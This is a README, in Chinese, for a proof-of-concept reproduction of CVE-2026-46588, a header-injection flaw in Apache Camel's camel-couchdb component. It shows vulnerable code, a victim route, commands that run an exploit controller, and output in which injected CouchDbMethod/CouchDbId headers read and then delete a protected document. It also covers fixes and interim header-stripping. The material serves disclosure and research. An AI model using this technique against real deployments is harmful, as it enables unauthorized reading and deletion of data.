CouchDb* 头注入复现工具(CVE-2026-46588)本项目演示了 Apache Camel 的 camel-couchdb 组件中的一个消息头注入漏洞,编号为 CVE-2026-46588。该组件读取多个 Exchange 头来控制其行为 —— CouchDbDatabase、CouchDbSeq、CouchDbId(文档 ID)、CouchDbRev(文档修订号)和 CouchDbMethod(操作方法)。这些头常量的字符串值(定义在 CouchDbConstants 中)使用 CouchDb 前缀,而不是其他所有组件使用的标准 Camel 前缀。Camel 的入站 HttpHeaderFilterStrategy 仅拦截以 Camel / camel 开头的头名称,因此这些名称可以原样通过入站过滤器。当路由在 couchdb producer 之前暴露 HTTP 入口点(例如 platform-http)时,不受信任的 HTTP 客户端可以直接设置这些头,并覆盖路由作者预期执行的操作。
该 PoC 将影响演示为操作混淆:通过注入 CouchDbMethod(和 CouchDbId),一个只写的文档写入端点被转变为对任意文档的读取,进而删除。
CouchDbMethod=GET + CouchDbId=<secret> → 信息泄露(读取端点从未暴露的文档,并泄露其 _rev)。CouchDbMethod=DELETE(配合泄露的 _rev)→ 破坏(删除该文档)。安全公告:https://camel.apache.org/security/CVE-2026-46588.html
| 属性 | 值 |
|---|---|
| 组件 | camel-couchdb |
| 受影响类 | 读取 CouchDbConstants.HEADER_METHOD("CouchDbMethod")、HEADER_DOC_ID("CouchDbId")等的 org.apache.camel.component.couchdb.CouchDbProducer |
| CWE | CWE-20:输入验证不当 |
| 影响 | HTTP 客户端设置 CouchDb* 头 → 覆盖操作 / 文档 → 信息泄露、删除、篡改 |
| 前提条件 | 路由在 HTTP consumer(例如 platform-http)之后暴露 couchdb producer;当该 consumer 未认证时 |
| 受影响版本 | 从 4.0.0 到 4.14.8 之前,从 4.15.0 到 4.18.3 之前,从 4.19.0 到 4.21.0 之前 |
| 修复版本 | 4.14.8、4.18.3、4.21.0 |
| 修复 | PR apache/camel#23228(main),并通过 #23230(4.18.x)/ #23231(4.14.x)回溯移植 |
| 致谢 | Yu Bao(PayPal) |
与 CVE-2025-27636、CVE-2026-40453、CVE-2026-46453 和 CVE-2026-47323 属于同一头注入家族。该修复与其姊妹公告 CVE-2026-46587(camel-couchbase)共用同一个 PR。
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
修复(4.14.8 / 4.18.3 / 4.21.0)将头值重命名为 Camel 约定 —— CouchDbMethod → CamelCouchDbMethod、CouchDbId → CamelCouchDbId、CouchDbRev → CamelCouchDbRev、CouchDbDatabase → CamelCouchDbDatabase、CouchDbSeq → CamelCouchDbSeq —— 这样它们就会像其他所有 Camel 控制头一样被入站 HttpHeaderFilterStrategy 拦截。Java 常量字段名保持不变。
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
路由作者的意图是只写的写入端点 —— 客户端 POST 文档以保存,仅此而已。作为文档记载的加固措施,该路由在边界处剥离 Camel 控制头命名空间。但这无济于事:操作头名为 CouchDbMethod 而非 CamelCouchDbMethod,因此它既不会被 removeHeaders("Camel*") 剥离,也不会被内置的 HTTP 头过滤器剥离 —— 而 producer 会依据它切换操作。
受害者是 Camel 写入路由及其 CouchDB 数据库;攻击者是仅设置请求头的未认证 HTTP 客户端。一个小型 REST 测试工具(harness)独立于易受攻击的路由,负责写入并读取秘密文档以进行验证。
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (gson pinned to 2.13.2, see note)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + the app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # host / db / creds / secret document id + marker
│ ├── CouchDbHarness.java # REST harness: waits for CouchDB, seeds + reads the secret doc
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (write-only intent)
│ └── ExploitController.java # attacker: POST /ingest with injected CouchDbMethod / CouchDbId headers
└── resources/
└── application.properties
注意:pom 将
gson.version=2.13.2固定(Camel 自带的版本)。否则 Spring Boot 3.2.0 会固定较旧的 gson 2.10.1,后者缺少com.google.gson.internal.GsonTypes,会导致随附的 Cloudant SDK 在运行时抛出NoClassDefFoundError。
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
任何通过 HTTP consumer 可达且带有 couchdb producer 的路由。可注入的头:CouchDbMethod(在保存 → 获取 / 删除之间切换)、CouchDbId(获取操作的目标文档),以及用于删除的请求体 _id / _rev。Consumer 侧还会新增 CouchDbDatabase 和 CouchDbSeq。
升级到 4.14.8 / 4.18.3 / 4.21.0(公告 PR #23228)。修复后,控制头带有 Camel 前缀(CamelCouchDbMethod、CamelCouchDbId、……),并会像其他所有控制头一样在 HTTP 边界被过滤。
在升级之前,请在消息到达 producer 之前,从不受信任的入站消息中剥离受影响的头,例如在 couchdb 端点之前使用 .removeHeader("CouchDbDatabase")、.removeHeader("CouchDbId")、.removeHeader("CouchDbRev")、.removeHeader("CouchDbSeq") 和 .removeHeader("CouchDbMethod"),或者应用自定义的 HeaderFilterStrategy 来拦截这些名称。
本复现程序仅用于安全研究和授权测试,针对的是已公开披露并修复的漏洞。未经明确许可,请勿将其用于任何系统。